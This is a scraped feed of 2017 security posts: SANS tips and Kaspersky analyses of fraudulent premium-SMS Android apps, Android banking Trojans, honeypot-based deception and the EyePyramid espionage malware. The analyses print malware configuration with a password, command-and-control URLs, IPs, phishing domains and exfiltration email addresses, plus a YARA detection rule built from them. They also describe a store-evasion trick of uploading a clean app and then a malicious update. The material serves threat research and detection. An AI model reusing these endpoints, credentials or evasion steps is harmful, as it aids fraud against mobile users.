When browsing online, encrypting your online activities is one of the best ways to protect yourself. Make sure your online connection is encrypted by making sure HTTPS is in the website address and that there is a green lock next to it.

How to succeed in online investigations and digital forensics

Malware Alerts - Wed, 02/01/2017 - 07:01

Link analysis training from Maltego developers

Maltego, the tool best known for deep data mining and link analysis, has helped law enforcement and intelligence agencies, banking organizations, financial institutions and others in security-related work since it was released in 2008.

To benefit from using Maltego, come to SAS 2017 for intensive Digital Intelligence Gathering training from the experts who created the tool from scratch: there won’t be any questions that they can’t answer. The course runs for two days, from April 1st and 2nd 2017 on St. Maarten. Book a seat now — the class is limited to 15 people maximum!

Down with the Excel worksheets

Maltego brings power to any online investigation, processing publicly available information that is hard to see with the naked eye. But it’s not just about mining — it’s also about analyzing and visualizing relationships between people and groups of people, companies, organizations, web sites, Internet infrastructure (domains, DNS names, netblocks, IP addresses) and affiliations (documents and files). The tool grabs information from DNS and whois records, search engines, social networks, online APIs and metadata. The results are provided in different graphical orders for better clustering, which brings into view hidden connections even if they are three or four degrees of separation, and even attempts makes attribution attainable.

Why do you need the training before you start using Maltego

During the two-day course participants will discover the entire Maltego ecosystem and learn how to use the tool properly to get most out of it. The trainers guarantee that you will go out with an understanding of how to apply the tool in your organizations and how to accurately interpret this kind of node based graph:

Source: www.paterva.com

All practical exercises will involve real world data.

Trainers

Roelof Temmingh, Managing Director and founder of Paterva, the South African company that introduced Maltego to the world in 2008, and Andrew MacPherson, the operations manager at Paterva and lead Maltego server developer.

Roelof and Andrew invite pen-testers, LEAs, intelligence agencies and security experts from any industry dealing with digital data gathering.

Technical skills

Applicants should meet the following prerequisites. They should have knowledge of common Internet services (HTTP, DNS), search engines (Google hacking), basic IT security principles (such as port scanning), scripting or programming experience (Python, PERL). You’ll need a PC or Mac with an external mouse and at least 2GB of RAM, a decent resolution display and some space to install the latest version of Maltego.

Book a seat at sas.kaspersky.com now to see data in its true colors.

Security Technology Cannot Stop All Attacks

SANS Tip of the Day - Wed, 02/01/2017 - 00:00
Technology alone cannot protect you. Bad guys are constantly developing new ways to get past firewalls, anti-virus and filters. You are the best defense against any attacker.

Cloud Security

SANS Tip of the Day - Fri, 01/27/2017 - 00:00
One of the most effective steps you can take to protect your cloud account is to make sure you are using two-step verification. In addition, always be sure you know exactly whom you are sharing files with. It is very easy to accidently share your files with the entire Internet when you think you are only sharing them with specific individuals.

Expensive free apps

Malware Alerts - Mon, 01/23/2017 - 04:39

This post is the result of collaboration between 11paths (Telefonica’s Cybersecurity Global Unit) and Kaspersky Lab. Both companies have used their own expertise, researchers and tools, such as 11path’s Tacyt (Android apps monitoring) and GReAT’s internal tools and resources.

Big Brother and Google Play

Fraudulent apps trying to send Premium SMS messages or trying to call to high rate phone numbers are not something new. Actually, it is easy to find them specially in Spain, Russia and some other european countries. Of course, it is much more interesting to talk about how certain groups bypass detection mechanisms such as those used by Google Play, since this has become difficult to achieve in the past few years.

Some years ago it was pretty easy to upload a dialer (or other similar fraudulent app) to Google Play [1] [2], but new detection mechanisms made attacker to focus on alternative markets, at least for a period of time.

Recently, we have found a Spanish group that successfully uploaded a non-official Big Brother (Gran Hermano) TV show app, which is one of the most popular TV shows in Spain even being on the air for 16 years now.

[Analysis:cdd254ee6310331a82e96f32901c67c74ae12425]

This was not a very sophisticated app, but they were able to upload it into Google Play using an old trick. First, they uploaded a clean an innocuous version that of course passed or the security controls from Google Play. Then, some days later, a new version was uploaded with a major features update, including subscription to paying services. This trick was extremely simple but successful, since the app was in the Google Play for around two months (from mid September to mid November 2015).

It seems this was not the first time this group tried to upload a Big Brother-like app. We have detected (via Tacyt [3]) at least another 4 similar applications that, regarding some particular logging messages we found in the code, could have the same origin:

com.granhermano.gh16_1; from 2015-09-15 to 2015-09-22;
com.granhermano162; from 2015-09-29 to 2015-11-14;
com.granhermanodieciseis; from 2015-09-29 to 2015-11-11
com.granh.gh16_3; from 2015-10-05 to 2015-10-15;
com.hisusdk; from 2015-09-16 to 2015-11-14 (the one analyzed).

As we said before, this group was found to be using a specific string “caca” as a logging tag, which is not something usual:

The word “caca” is a colloquial word in Spanish referring to an excrement (very similar to the word “poo” in English). We could find it in certain testing code, referring to lines of code that should be removed later, but it is unusual to find it in such similar applications and used in the same way. Because of that, it makes sense to think that those applications were developed by the same group. Other strings and function names used in the code make us conclude that those applications could be developer by native Spanish speakers.

This app is using several commercial third party services such as Parse.com for the first network communication. This first API call is used in order to get all the information necessary to run further actions (URLs, authentication, etc).

{“results”:[{“Funcionamiento”:” Ahora la única pestaña importante es la de VOT.”,”action1″:”http://tempuri.org/getPinCode”,”action2″:”http://tempuri.org/crearSubscripcion”,”activa”:”si”,”createdAt”:”2015-09-08T16:17:24.550Z”,”estado”:true,”id_categoria”:”2608″,”id_subscripcion”:”400″,”metodo1″:”getPinCode”,”metodo2″:”crearSubscripcion”,”namespace”:”http://tempuri.org/”,”nombreApp”:”GH16 – españa”,”numero_corto”:”795059″,”numero_sms”:”+34911067088″,”objectId”:”tNREzkEocZ”,”password”:”15xw7v7u”,”updatedAt”:”2015-11-27T10:28:00.406Z”,”url”:”http://ws.alertas.aplicacionesmonsan.net/WebSubscription.asmx?WSDL”,”urlcode”:”http://spamea.me/getcode.php?code=”,”usuario”:”yourmob”,”vot”:true}]}

As we can see above, it references to different URLs:

spamea.me is service that no longer exists at the time of writing, but that used to be hosted on 107.6.184.212, which seems a hosting service shared with many other websites.

ws.alertas.aplicacionesmonsan.net is legitimate service focused on mobile monetization, including SMS premium and direct carrier billing. It is used from the app in order to subscribe the user to a service called “yourmob.com”.

Of course, using paying services is not malicious itself, since it is legitimate that companies could bill for their services, but user should be clearly noticed about service cost and conditions beforehand.

Despite we found a reference to “Terms and Conditions” (in Spanish) poiting to the website servimob.com , we could not verify that this information is shown to users and, anyway, users don’t have the opportunity to reject the agreement and don’t be subscribed.

Presence outside Google Play

It make sense that if a group have included this kind of app in Google Play, They were going to try something similar using other app sources (thanks to Facundo J. Sánchez that spotted this).

Analysis: 9b47070e65f81d253c2452edc5a0eb9cd17447f4

This app worked slightly different. It uses other 3rd party services and it sends Premium SMSs for monetization. They got from the server what number to use, for how many seconds and if the screen should be on or off.

We found that they used very similar words for comments and method names (most of them in Spanish, including “caca”), same topic (Big Brother), references to “yourmob” and much more, so definitely we can link it with the Spanish group mentioned before.

One of the webservices used by this application (http://104.238.188.38/806/) exposed a control panel showing information about people using this app:

As you probably know, groups developing this kind of apps usually reuse their servers and supporting infrastructure for multiple apps, for example this one:

https://www.virustotal.com/en-gb/file/cc2895442fce0145731b8e448d57e343d17ca0d4491b7fd452e6b9aaa4c2508a/analysis/

It was using this vps as well http://vps237553.ovh.net. Some of the panels and services provided by the VPS were located here:

http://vps237553.ovh.net/nexmo/getcode.php?code=
http://vps237553.ovh.net/polonia/autodirect1.php
http://vps237553.ovh.net/polonia/autodirect2.php
http://vps237553.ovh.net/polonia/guardar_instalacion.php
http://vps237553.ovh.net/polonia/guardar_numero.php
http://vps237553.ovh.net/polonia/guardar_numero.php?androidID=
http://vps237553.ovh.net/polonia/guardar_sms.php
http://vps237553.ovh.net/polonia/push_recibido.php
http://vps237553.ovh.net/polonia/panel.php
http://vps237553.ovh.net/nexmo/

As we can see in their control panel, they have been quite successful in terms of spread, since there are registered phones from many different countries (Spain, Holland, Poland, etc).

In addition, an iterative search on terms such as IP addresses, unique paths, etc, has shown that other apps could be using the same supporting infrastructure that was shown above, including the following IP addresses and domain names:

In particular, 45.32.236.127 was pointed by different domain names in the past months:

  • kongwholesaler.tk (2016-05-22)
  • acc-facebook.com (2016-04-11)
  • h-instagram.com (2016-04-11)
  • msg-vk.com (2016-04-11)
  • msg-google.ru (2016-04-10)
  • msg-mail.ru (2016-04-10)
  • iwantbitcoins.xyz (2015-11-04)

These domains have probably been used for fraudulent initiatives such as phishing attacks, since they are very similar to well-known and legitimate services.

Something that kept our attention was that “vps237553.ovh.net”, used from a sample and resolving to 51.255.199.164, was also used at some point (June 2016 regarding our passive DNS) by “servimob.com” domain (same domain referenced in the app from Google Play).

Back to Google Play

As you can imagine, they tried again to upload a new app to Google Play, following a similar philosophy and techniques that we have seen before.

e49faf379b827ee8d3a777e69f3f9bd3e559ba03
11a131c23e6427dd7e0e47280dd8f421febdc4f7

These apps were available in Google Play for a few weeks in September 2016, using similar techniques, especially to those applications that we found outside Google Play.

Conclusions

This Spanish group has been quite successful on uploading this kind of apps in Google Play, using interesting topics such as the Big Brother TV show. Spain and Poland have been two countries traditionally targeted by SMS scams and similar malware. However, we have never seen in the past few years any group that was able to upload apps to legitimate markets in such an easy way. Perhaps the key point is that they try to be close enough to the border between a legitimate business and a malicious one.

Machine learning versus spam

Malware Alerts - Fri, 01/20/2017 - 03:55

Machine learning methods are often presented by developers of security solutions as a silver bullet, or a magic catch-all technology that will protect users from a huge range of threats. But just how justified are these claims? Unless explanations are provided as to where and how exactly these technologies are used, these assertions appear to be little more than a marketing ploy.

For many years, machine learning technology has been a working component of Kaspersky Lab’s security products, and our firm belief is that they must not be seen as a super technology capable of combating all threats. Yes, they are a highly effective protection tool, but just one tool among many. My colleague Alexey Malanov even made the point of writing an article on the Myths about machine learning in cybersecurity.

At Kaspersky Lab, machine learning can be found in a number of different areas, especially when dealing with the interesting task of spam detection. This particular task is in fact much more challenging than it appears to be at first glance. A spam filter’s job is not only to detect and filter out all messages with undesired content but, more importantly, it has to ensure all legitimate messages are delivered to the recipient. In other words, type I errors, or so-called false positives, need to be kept to a minimum.

Another aspect that should not be forgotten is that the spam detection system needs to respond quickly. It must work pretty much instantaneously; otherwise, it will hinder the normal exchange of email traffic.

A graphic representation can be provided in a project management triangle, only in our case the three corners represent speed, absence of false positives, and the quality of spam detection; no compromise is possible on any of these three. If we were to go to extremes, for example, spam could be filtered manually – this would provide 100% effectiveness, but minimal speed. In another extreme case, very rigid rules could be imposed, so no email messages whatsoever would pass – the recipient would receive no spam and no legitimate messages. Yet another approach would be to filter out only known spam; in that case, some spam messages would still reach the recipient. To find the right balance inside the triangle, we use machine learning technologies, part of which is an algorithm enabling the classifier to pass prompt and error-free verdicts for every email message.

How is this algorithm built? Obviously, it requires data as input. However, before data is fed into the classifier, is must be cleansed of any ‘noise’, which is yet another problem that needs to be solved. The greatest challenge about spam filtration is that different people may have different criteria for deciding which messages are valid, and which are spam. One user may see sales promotion messages as outright spam, while another may consider them potentially useful. A message of this kind creates noise and thus complicates the process of building a quality machine learning algorithm. Using the language of statistics, there may be so-called outlier values in the dataset, i.e., values that are dramatically different from the rest of the data. To address this problem, we implemented automatic outlier filtration, based on the Isolation Forest algorithm customized for this purpose. Naturally, this removes only some of the noise data, but has already made life much easier for our algorithms.

After this, we obtain data that is practically ‘clean’. The next task is to convert the data into a format that the classifier can understand, i.e., into a set of identifiers, or features. Three of the main types of features used in our classifier are:

  • Text features – fragments of text that often occur in spam messages. After preprocessing, these can be used as fairly stable features.
  • Expert features – features based on expert knowledge accumulated over many years in our databases. They may be related to domains, the frequency of headers, etc.
  • Raw features. Perhaps the most difficult to understand. We use parts of the message in their raw form to identify features that we have not yet factored in. The message text is either transformed using word embedding or reduced to the Bag-of-Words model (i.e., formed into a multiset of words which does not account for grammar and word order), and then passed to the classifier, which autonomously identifies features.

All these features and their combinations will help us in the final stage – the launch of the classifier.

What we eventually want to see is a system that produces a minimum of false positives, works fast and achieves its principal aim – filtering out spam. To do this, we build a complex of classifiers, and it is unique for each set of features. For example, the best results for expert features were demonstrated by gradient boosting – the sequential building up of a composition of machine learning algorithms, in which each subsequent algorithm aims to compensate for the shortcomings of all previous algorithms. Unsurprisingly, boosting has demonstrated good results in solving a broad range of problems involving numerical and category features. As a result, the verdicts of all classifiers are integrated, and the system produces a final verdict.

Our technologies also take into account potential problems such as over-training, i.e., a situation when an algorithm works well with a training data sample, but is ineffective with a test sample. To preclude this sort of problem from occurring, the parameters of classification algorithms are selected automatically, with the help of a Random Search algorithm.

This is a general overview of how we use machine learning to combat spam. To see how effective this method is, it is best to view the results of independent testing.

Deceive in order to detect

Malware Alerts - Thu, 01/19/2017 - 05:32

Interactivity is a security system feature that implies interaction with the attacker and their tools as well as an impact on the attack scenario depending on the attacker’s actions. For example, introducing junk search results to confuse the vulnerability scanners used by cybercriminals is interactive. As well as causing problems for the cybercriminals and their tools, these methods have long been used by researchers to obtain information about the fraudsters and their goals.

There is a fairly clear distinction between interactive and “offensive” protection methods. The former imply interaction with attackers in order to detect them inside the protected infrastructure, divert their attention and lead them down the wrong track. The latter may include all the above plus exploitation of vulnerabilities on the attackers’ own resources (so-called “hacking-back”). Hacking-back is not only against the law in many countries (unless the defending side is a state organization carrying out law enforcement activities) it may also endanger third parties, such as users’ computers compromised by cybercriminals.

The use of interactive protection methods that don’t break the law and that can be used in an organization’s existing IT security processes make it possible not only to discover if there is an intruder inside the infrastructure but also to create a threat profile.

One such approach is Threat Deception – a set of methods, specialized solutions and processes that have long been used by researchers to analyze threats. In our opinion, this approach can also be used to protect valuable data inside the corporate network from targeted attacks.

Characteristics of targeted attacks

Despite the abundance of technology and specialized solutions to protect corporate networks, information security incidents continue to occur even in large organizations that invest lots of money to secure their information systems.

Part of the reason for these incidents is the fact that the architecture of automated security solutions, based on identifying patterns in general traffic flows or monitoring a huge number of endpoints, will sooner or later fail to recognize an unknown threat or a criminal stealing valuable data from the infrastructure. This may occur, for example, if the attacker has studied the specific features of a corporate security system in advance and identified a way of stealing valuable data that will go unnoticed by security solutions and will be lost among the legitimate operations of other users.

nother reason is the fact that APT attacks differ from other types of attacks: in terms of target selection and pinpoint execution, they are similar to surgical strikes, rather than the blanket bombing of mass attacks.

The organizers of targeted attacks carefully study the targeted infrastructure, identifying gaps in configuration and vulnerabilities that can be exploited during an attack. With the right budget, an attacker can even deploy the products and solutions that are installed in the targeted corporate network on a testbed. Any vulnerabilities or flaws identified in the configuration may be unique to a specific victim.

This allows cybercriminals to go undetected on the network and steal valuable data for long periods of time.

To protect against an APT, it is necessary not only to combat the attacker’s tools (utilities to analyze security status, malicious code, etc.) but to use specific behavioral traits on the corporate network to promptly detect their presence and prevent any negative consequences that may arise from their actions. Despite the fact that the attacker usually has enough funds to thoroughly examine the victim’s corporate network, the defending side still has the main advantage – full physical access to its network resources. And it can use this to create its own rules on its own territory for hiding valuable data and detecting an intruder.

After all, “locks only keep an honest person honest,” but with a motivated cybercriminal a lock alone is not enough – a watchdog is required to notify the owner about a thief before he has time to steal something.

Interactive games with an attacker

In our opinion, in addition to the obligatory conventional methods and technologies to protect valuable corporate information, the defensive side needs to build interactive security systems in order to get new sources of information about the attacker who, for one reason or another, has been detected inside the protected corporate network.

Interactivity in a security system implies a reaction to the attacker’s actions. That reaction, for instance, may be the inclusion of the attacker’s resources to a black list (e.g. the IP address of the workstations from which the attack is carried out) or the isolation of compromised workstations from other network resources. An attacker who is looking for valuable data within a corporate network may be deliberately misled, or the tools used by the attacker, such as vulnerability scanners, could be tricked into leading them in the wrong direction.

Let’s assume that the defending side has figured out all the possible scenarios where the corporate network can be compromised and sets traps on the protected resource:

  • a special tool capable of deceiving automated vulnerability scanners and introducing all sorts of “junk” (information about non-existent services or vulnerabilities, etc.) in reports;
  • a web scenario containing a vulnerability that, when exploited, leads the attacker to the next trap (described below);
  • a pre-prepared section of the web resource that imitates the administration panel and contains fake documents.

How can these traps help?

Below is a simple scenario showing how a resource with no special security measures can be compromised:

  1. The attacker uses a vulnerability scanner to find a vulnerability on the server side of the protected infrastructure, for example, the ability to perform an SQL injection in a web application.
  2. The attacker successfully exploits this vulnerability on the server side and gains access to the closed zone of the web resource (the administration panel).
  3. The attacker uses the gained privileges to study the inventory of available resources, finds documents intended for internal use only and downloads them.

Let’s consider the same scenario in the context of a corporate network where the valuable data is protected using an interactive system:

  1. The attacker searches for vulnerabilities on the server side of the protected infrastructure using automated means (vulnerability scanner and directory scanner). Because the defending side has pre-deployed a special tool to deceive scanning tools, the attacker has to spend time analyzing the scan results, after which the attacker finds a vulnerability – the trap on the server side of the protected infrastructure.
  2. The attacker successfully exploits the detected vulnerability and gains access to the closed zone of the web resource (the administration panel). The attempt to exploit the vulnerability is recorded in the log file, and a notification is sent to the security service team.
  3. The attacker uses the gained privileges to study the inventory of available resources, finds the fake documents and downloads them.
  4. The downloaded documents contain scripts that call the servers controlled by the defending side. The parameters of the call (source of the request, time, etc.) are recorded in the log file. This information can then be used for attacker attribution (what type of information they are interested in, where the workstations used in the attack are located, the subnets, etc.) and to investigate the incident.
Detecting an attack by deceiving the attacker

Currently, in order to strengthen protection of corporate networks the so-called Threat Deception approach is used. The term ‘deception’ comes from the military sphere, where it refers to a combination of measures aimed at misleading the enemy about one’s presence, location, actions and intentions. In IT security, the objective of this interactive system of protection is to detect an intruder inside the corporate network, identifying their attributes and ultimately removing them from the protected infrastructure.

The threat deception approach involves the implementation of interactive protection systems based on the deployment of traps (honeypots) in the corporate network and exploiting specific features of the attacker’s behavior. In most cases, honeypots are set to divert the attacker’s attention from the truly valuable corporate resources (servers, workstations, databases, files, etc.). The use of traps also makes it possible to get information about any interaction between the attacker and the resource (the time interactions occur; types of data attracting the attacker’s attention, toolset used by the attacker, etc.).

However, it’s often the case that a poorly deployed trap inside a corporate network will not only be successfully detected and bypassed by the attackers but can serve as an entry point to genuine workstations and servers containing valuable information.

Incorrect implementation of a honeypot in the corporate network can be likened to building a small house next to a larger building containing valuable data. The smaller house is unlikely to divert the attention of the attacker; they will know where the valuable information is and where to look for the “key” to access it.

Simply installing and configuring honeypots is not enough to effectively combat cybercriminals; a more nuanced approach to developing scenarios to detect targeted attacks is required. At the very least, it is necessary to carry out an expert evaluation of the attacker’s potential actions, to set honeypots so that the attacker cannot determine which resources (workstations, files on workstations and servers, etc.) are traps and which are not, and to have a plan for dealing with the detected activity.

Correct implementation of traps and a rapid response to any events related to them make it possible to build an infrastructure where almost any attacker will lose their way (fail to find the protected information and reveal their presence).

Forewarned is forearmed

Getting information about a cybercriminal in the corporate network enables the defending side to take measures to protect their valuable data and eliminate the threat:

  • to send the attacker in the wrong direction (e.g., to a dedicated subnet), and thereby concealing valuable resources from their field of view, as well as obtaining additional information about the attacker and their tools, which can be used to investigate the incident further;
  • to identify compromised resources and take all necessary measures to eliminate the threat (e.g., to isolate infected workstations from the rest of the resources on the corporate network);
  • to reconstruct the chronology of actions and movements of the attacker inside the corporate network and to define the entry points so that they can be eliminated.
Conclusion

The attacker has an advantage over the defender, because they have the ability to thoroughly examine their victim before carrying out an attack. The victim doesn’t know where the attack will come from or what the attacker is interested in, and so has to protect against all possible attack scenarios, which requires a significant amount of time and resources.

Implementation of the Threat Deception approach gives the defending side an additional source of information on threats thanks to resource traps. The approach also minimizes the advantage enjoyed by the attacker due to both the early detection of their activity and the information obtained about their profile that enables timely measures to be taken to protect valuable data. It is not necessary to use prohibited “offensive security” methods, which could make the situation worse for the defending side if law enforcement agencies get involved in investigating the incident.

Interactive security measures that are based on deceiving the attacker will only gain in popularity as the number of incidents in the corporate and public sector increases. Soon, systems based on the Threat Deception approach will become not just a tool of the researchers but an integral part of a protected infrastructure and yet another source of information about incidents for security services.

If you’re interested in implementing the Threat Deception concept described in the post on your corporate network, please complete the form below:

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Do web injections exist for Android?

Malware Alerts - Wed, 01/18/2017 - 02:57

Web injection attacks

There’s an entire class of attacks that targets browsers – so-called Man-in-the-Browser (MITB) attacks. These attacks can be implemented using various means, including malicious DLLs, rogue extensions, or more complicated malicious code injected into pages in the browser by spoofing proxy servers or other ways. The purpose of an MITB attack may vary from relatively innocuous ad spoofing on social networks or popular websites to stealing money from user accounts – the latter is what happened in the Lurk case.

A malicious app masquerades as a Kaspersky Lab product in an MITB attack

Web injection is used in most cases when an MITB-class attack targets online banking. This type of web injection attack involves malicious code being injected into an online banking service webpage to intercept the one-time SMS message, harvest information about the user, spoof banking details, etc. For example, our Brazilian colleagues have long reported about barcode spoofing attacks performed when users print out Boletos – popular banking documents issued by banks and all kind of businesses in Brazil.

Meanwhile, the prevalence of MITB attacks in Russia is decreasing – cybercriminals are opting for other methods and attack vectors to target banking clients. For the average cybercriminal, it is much easier to use readily available tools than develop and implement web injection tools.

Despite this, we’re often asked if there are any web injection attacks for Android devices. This is our attempt to investigate and give as full an answer as possible.

Web injection on Android

Despite the term ‘inject’ being used in connection with mobile banking Trojans (and sometimes used by cybercriminals to refer to their data-stealing technologies), Android malware is a whole different world. In order to achieve the same goals pursued by web injection tools on computers, the creators of mobile Trojans use two completely different technologies: overlaying other apps with a phishing window, and redirecting the user from a banking web page to a specially crafted phishing page.

Overlaying apps with phishing windows

This is the most popular technology with cybercriminals and is used in practically all banking Trojans. 2013 was when we first encountered a piece of malware overlaying other apps with its phishing window – that was Trojan-Banker.AndroidOS.Svpeng.

Today’s mobile banking Trojans most often overlay the Google Play Store app with their phishing window – this is done in order to steal the user’s bank card details.

The Marcher malware

Besides this, Trojans often overlay various social media and instant messaging apps and steal the passwords to them.

The Acecard malware

However, mobile banking Trojans typically target financial applications, mostly banking apps.

Three methods of MITB attacks for mobile OS can be singled out:

1. A special Trojan window, crafted beforehand by cybercriminals, is used to overlay another app’s window. This method was used, for example, by the Acecard family of mobile banking Trojans.

Acecard phishing windows

2. Apps are overlaid with a phishing web page located on a malicious server. This way, the cybercriminals can modify its contents any time they need to. This method is used by the Marcher family of banking Trojans.

Marcher phishing page

3. A template page is downloaded from a malicious server, to which the icon and the name of the attacked application is added. This is how one of the Trojan-Banker.AndroidOS.Faketoken modifications manages to attack over 2,000 financial apps.

FakeToken phishing page

It should be noted that starting from Android 6, for the above attack method to work, the FakeToken Trojan has to request the privilege of displaying its window on top of other app windows. It’s not alone though: as new versions of Android are gaining popularity, a growing number of mobile banking Trojans are beginning to request such privileges.

Redirecting the user from the bank’s page to a phishing page

We were only able to identify the use of this technology in the Trojan-Banker.AndroidOS.Marcher family. The earliest versions of the Trojan that redirected the user to a phishing page are dated late April 2016, and the latest are from the first half of November 2016.

Redirecting the user from a bank’s webpage to a phishing page works as follows. The Trojan subscribes to modify browser bookmarks, which includes changes in the current open page. This way the Trojan knows which webpage is currently open, and if it happens to be one of the targeted pages, the Trojan opens the corresponding phishing page in the same browser and redirects the user there. We were able to find over a hundred web pages belonging to financial organizations that were targeted by the Marcher family of Trojans.

However, two points need to be raised:

  • All new modifications of the Marcher Trojan that we were able to detect no longer use this technology.
  • Those modifications that used this technology also used a method of overlaying other apps with their phishing window.

Why then was the method of redirecting the user to a phishing page used by only one family of mobile banking Trojans, and why is this technology no longer used in newer modifications of the family? There are several reasons:

  • In Android 6 and later versions, this technology no longer works, meaning the number of potential victims is decreasing every day. For example, around 30% of those using Kaspersky Lab’s mobile security solutions now use Android 6 or a later version;
  • The technology only worked on a limited number of mobile browsers;
  • The user can easily spot that they are being redirected to a phishing site and they may also notice that the URL of the webpage has changed.
Attacks launched using root privileges

With superuser privileges, Trojans can perform any attack, including real malicious injections into browsers. Although we were unable to find a single case of this happening, the following should be noted:

  • Some modules of Backdoor.AndroidOS.Triada can substitute websites in certain browsers, using superuser privileges. All the attacks we found were launched with the purpose of making some money from advertising only, and did not result in the theft of banking information.
  • The banking Trojan Trojan-Banker.AndroidOS.Tordow, using superuser privileges, can steal passwords saved in browsers, which may include passwords to financial websites.
Conclusions

We can state that, despite all the available technical capabilities, cybercriminals that target banks do not make use of malicious web injections in mobile browsers or injections in mobile apps. Sometimes they use these technologies to spoof adverts, but even then that requires highly sophisticated malicious software.

So why do cybercriminals ignore the available opportunities? Most probably it is because of the diversity of mobile browsers and apps. Malware writers would have to adapt their creations to a long list of programs, which is rather costly, while simpler and more versatile attacks involving phishing windows do not require so much effort to target a larger number of users.

Nonetheless, the Triada and Tordow examples suggest that similar attacks may well take place in the future as malware creators gain more expertise.

CEO Fraud

SANS Tip of the Day - Tue, 01/17/2017 - 00:00
CEO Fraud is a type of targeted attack. It commonly involves a cyber criminally pretending to be your boss, then tricking or fooling you into sending the criminal highly sensitive information or initiating a wire transfer. Be highly suspicious of any emails demanding immediate action and/or asking you to bypass any security procedures.

The “EyePyramid” attacks

Malware Alerts - Thu, 01/12/2017 - 09:54

On January 10, 2017, a court order was declassified by the Italian police, in regards to a chain of cyberattacks directed at top Italian government members and institutions.

The attacks leveraged a malware named “EyePyramid” to target a dozen politicians, bankers, prominent freemasons and law enforcement personalities in Italy. These included Fabrizio Saccomanni, the former deputy governor of the Bank of Italy, Piero Fassino, the former mayor of Turin, several members of a Masonic lodge, Matteo Renzi, former prime minister of Italy and Mario Draghi, another former prime minister of Italy and now president of the European Central Bank.

The malware was spread using spear-phishing emails and the level of sophistication is low. However, the malware is flexible enough to grant access to all the resources in the victim’s computer.

During the investigation, involved LEAs found more than 100 active victims in the server used to host the malware, as well as indications that during the last few years the attackers had targeted around 16,000 victims. All identified victims are in Italy, most of them being Law Firms, Consultancy services, Universities and even Vatican Cardinals.

Evidence found on the C&C servers suggests that the campaign was active since at least March 2014 and lasted until August 2016. However, it is suspected that the malware was developed and probably used years before, possibly as far back to 2008.

Two suspects were arrested on January 10th, 2017 and identified as 45-year-old nuclear engineer Giulio Occhionero and his 47-year-old sister Francesca Maria Occhionero.

Investigation

Although the Italian Police Report doesn’t include malware hashes, it identified a number of C&C servers and e-mails addresses used by the malware for exfiltration of stolen data.

Excerpt from the Italian court order on #EyePyramid
(http://www.agi.it/pictures/pdf/agi/agi/2017/01/10/132733992-5cec4d88-49a1-4a00-8a01-dde65baa5a68.pdf)

Some of the e-mail addresses used for exfiltration and C&C domains outlined by the police report follow:

E-mail Addresses used for exfiltration gpool@hostpenta[.]com hanger@hostpenta[.]com hostpenta@hostpenta[.]com purge626@gmail[.]com tip848@gmail[.]com dude626@gmail[.]com octo424@gmail[.]com tim11235@gmail[.]com plars575@gmail[.]com Command-and-Control Servers eyepyramid[.]com hostpenta[.]com ayexisfitness[.]com enasrl[.]com eurecoove[.]com marashen[.]com millertaylor[.]com occhionero[.]com occhionero[.]info wallserv[.]com westlands[.]com

Based on these indicators we’ve quickly written a YARA rule and ran it through our systems, in order to see if it matches any samples.

Here’s how our initial “blind”-written YARA rule looked like:

rule crime_ZZ_EyePyramid {

meta:

copyright = ” Kaspersky Lab”
author = ” Kaspersky Lab”
maltype = “crimeware”
filetype = “Win32 EXE”
date = “2016-01-11”
version = “1.0”

strings:

$a0=”eyepyramid.com” ascii wide nocase fullword
$a1=”hostpenta.com” ascii wide nocase fullword
$a2=”ayexisfitness.com” ascii wide nocase fullword
$a3=”enasrl.com” ascii wide nocase fullword
$a4=”eurecoove.com” ascii wide nocase fullword
$a5=”marashen.com” ascii wide nocase fullword
$a6=”millertaylor.com” ascii wide nocase fullword
$a7=”occhionero.com” ascii wide nocase fullword
$a8=”occhionero.info” ascii wide nocase fullword
$a9=”wallserv.com” ascii wide nocase fullword
$a10=”westlands.com” ascii wide nocase fullword
$a11=”217.115.113.181″ ascii wide nocase fullword
$a12=”216.176.180.188″ ascii wide nocase fullword
$a13=”65.98.88.29″ ascii wide nocase fullword
$a14=”199.15.251.75″ ascii wide nocase fullword
$a15=”216.176.180.181″ ascii wide nocase fullword
$a16=”MN600-849590C695DFD9BF69481597241E-668C” ascii wide nocase fullword
$a17=”MN600-841597241E8D9BF6949590C695DF-774D” ascii wide nocase fullword
$a18=”MN600-3E3A3C593AD5BAF50F55A4ED60F0-385D” ascii wide nocase fullword
$a19=”MN600-AD58AF50F55A60E043E3A3C593ED-874A” ascii wide nocase fullword
$a20=”gpool@hostpenta.com” ascii wide nocase fullword
$a21=”hanger@hostpenta.com” ascii wide nocase fullword
$a22=”hostpenta@hostpenta.com” ascii wide nocase fullword
$a23=”ulpi715@gmx.com” ascii wide nocase fullword
$b0=”purge626@gmail.com” ascii wide fullword
$b1=”tip848@gmail.com” ascii wide fullword
$b2=”dude626@gmail.com” ascii wide fullword
$b3=”octo424@gmail.com” ascii wide fullword
$b4=”antoniaf@poste.it” ascii wide fullword
$b5=”mmarcucci@virgilio.it” ascii wide fullword
$b6=”i.julia@blu.it” ascii wide fullword
$b7=”g.simeoni@inwind.it” ascii wide fullword
$b8=”g.latagliata@live.com” ascii wide fullword
$b9=”rita.p@blu.it” ascii wide fullword
$b10=”b.gaetani@live.com” ascii wide fullword
$b11=”gpierpaolo@tin.it” ascii wide fullword
$b12=”e.barbara@poste.it” ascii wide fullword
$b13=”stoccod@libero.it” ascii wide fullword
$b14=”g.capezzone@virgilio.it” ascii wide fullword
$b15=”baldarim@blu.it” ascii wide fullword
$b16=”elsajuliette@blu.it” ascii wide fullword
$b17=”dipriamoj@alice.it” ascii wide fullword
$b18=”izabelle.d@blu.it” ascii wide fullword
$b19=”lu_1974@hotmail.com” ascii wide fullword
$b20=”tim11235@gmail.com” ascii wide fullword
$b21=”plars575@gmail.com” ascii wide fullword
$b22=”guess515@fastmail.fm” ascii wide fullword

condition:

((uint16(0) == 0x5A4D)) and (filesize < 10MB) and
((any of ($a*)) or (any of ($b*)) )
}

To build the YARA rule above we’ve used every bit of existing information, such as custom e-mail addresses used for exfiltration, C&C servers, licenses for the custom mailing library used by the attackers and specific IP addresses used in the attacks.

Once the YARA rule was ready, we’ve ran it on our malware collections. Two of the initial hits were:

MD5 778d103face6ad7186596fb0ba2399f2 File size 1396224 bytes Type Win32 PE file Compilation Timestamp Fri Nov 19 12:25:00 2010 MD5 47bea4236184c21e89bd1c1af3e52c86 File size 1307648 bytes Type Win32 PE file Compilation timestamp Fri Sep 17 11:48:59 2010

These two samples allowed us to write a more specific and more effective YARA rule which identified 42 other samples in our summary collections.

At the end of this blogpost we include a full list of all related samples identified.

Although very thorough, the Police Report does not include any technical details about how the malware was spread other than the use of spear phishing messages with malicious attachments using spoofed email addresses.

